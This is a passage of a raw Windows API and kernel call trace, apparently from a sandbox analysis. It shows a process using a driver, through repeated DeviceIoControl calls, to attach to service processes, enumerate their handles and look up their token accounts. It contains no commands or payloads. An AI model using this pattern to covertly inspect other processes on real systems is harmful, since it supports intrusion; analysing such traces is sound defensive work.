0x2 [0070.136] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0070.136] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.136] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.136] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.136] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.136] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.136] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.136] PsAcquireProcessExitSynchronization () returned 0x0 [0070.136] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880054f85d0) [0070.136] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.136] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.136] PsReleaseProcessExitSynchronization () returned 0x2 [0070.136] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0070.136] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.136] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.136] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.136] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.136] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0070.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0070.136] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0070.137] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0070.137] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd5 [0070.137] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa800215d040 | out: TokenHandle=0xfffffa800215d040*=0xc8) returned 0x0 [0070.137] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0070.137] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.137] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0070.137] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0070.139] CloseHandle (hObject=0xc8) returned 1 [0070.139] CloseHandle (hObject=0xc0) returned 1 [0070.139] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.139] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.139] PsAcquireProcessExitSynchronization () returned 0x0 [0070.139] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.139] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0070.139] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.139] PsReleaseProcessExitSynchronization () returned 0x2 [0070.140] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.140] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.140] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0070.140] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.140] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.140] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.140] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.140] PsAcquireProcessExitSynchronization () returned 0x0 [0070.140] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.140] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0070.140] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.140] PsReleaseProcessExitSynchronization () returned 0x2 [0070.140] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.140] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.140] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0070.140] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.140] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.140] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.140] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.140] PsAcquireProcessExitSynchronization () returned 0x0 [0070.140] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.140] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0070.140] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.140] PsReleaseProcessExitSynchronization () returned 0x2 [0070.140] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.140] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.140] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0070.140] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.141] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.141] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.141] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.141] PsAcquireProcessExitSynchronization () returned 0x0 [0070.141] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.141] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.141] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.141] PsReleaseProcessExitSynchronization () returned 0x2 [0070.141] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.141] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.141] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.141] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.141] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.141] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.141] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.141] PsAcquireProcessExitSynchronization () returned 0x0 [0070.141] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.141] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0070.141] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.141] PsReleaseProcessExitSynchronization () returned 0x2 [0070.141] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.141] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.141] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0070.141] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.141] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.141] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0070.141] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.141] PsAcquireProcessExitSynchronization () returned 0x0 [0070.142] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880054f85d0) [0070.142] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0070.142] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.142] PsReleaseProcessExitSynchronization () returned 0x2 [0070.142] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0070.142] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.142] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0070.142] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.142] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.142] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0070.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0070.142] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0070.142] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0070.142] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xbc [0070.142] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa800215d040 | out: TokenHandle=0xfffffa800215d040*=0xc8) returned 0x0 [0070.142] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0070.142] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.142] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0070.142] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0070.795] CloseHandle (hObject=0xc8) returned 1 [0070.795] CloseHandle (hObject=0xc0) returned 1 [0070.795] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0070.796] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.796] PsAcquireProcessExitSynchronization () returned 0x0 [0070.796] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.796] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0070.796] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.796] PsReleaseProcessExitSynchronization () returned 0x2 [0070.796] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.796] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.796] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0070.796] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.796] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.796] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.796] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.796] PsAcquireProcessExitSynchronization () returned 0x0 [0070.796] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.796] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0070.796] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.796] PsReleaseProcessExitSynchronization () returned 0x2 [0070.796] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.796] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.796] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0070.796] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.796] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.796] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.796] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.796] PsAcquireProcessExitSynchronization () returned 0x0 [0070.797] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.797] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0070.797] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.797] PsReleaseProcessExitSynchronization () returned 0x2 [0070.797] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.797] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.797] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0070.797] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.797] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.797] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0070.797] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.797] PsAcquireProcessExitSynchronization () returned 0x0 [0070.797] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.797] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0070.797] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.797] PsReleaseProcessExitSynchronization () returned 0x2 [0070.797] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.797] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.797] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0070.797] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.797] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.797] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.797] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.797] PsAcquireProcessExitSynchronization () returned 0x0 [0070.797] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.797] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0070.797] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.797] PsReleaseProcessExitSynchronization () returned 0x2 [0070.797] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.798] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.798] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0070.798] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.798] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.798] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.798] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.798] PsAcquireProcessExitSynchronization () returned 0x0 [0070.798] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.798] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0070.798] KeUnstackDetachProcess 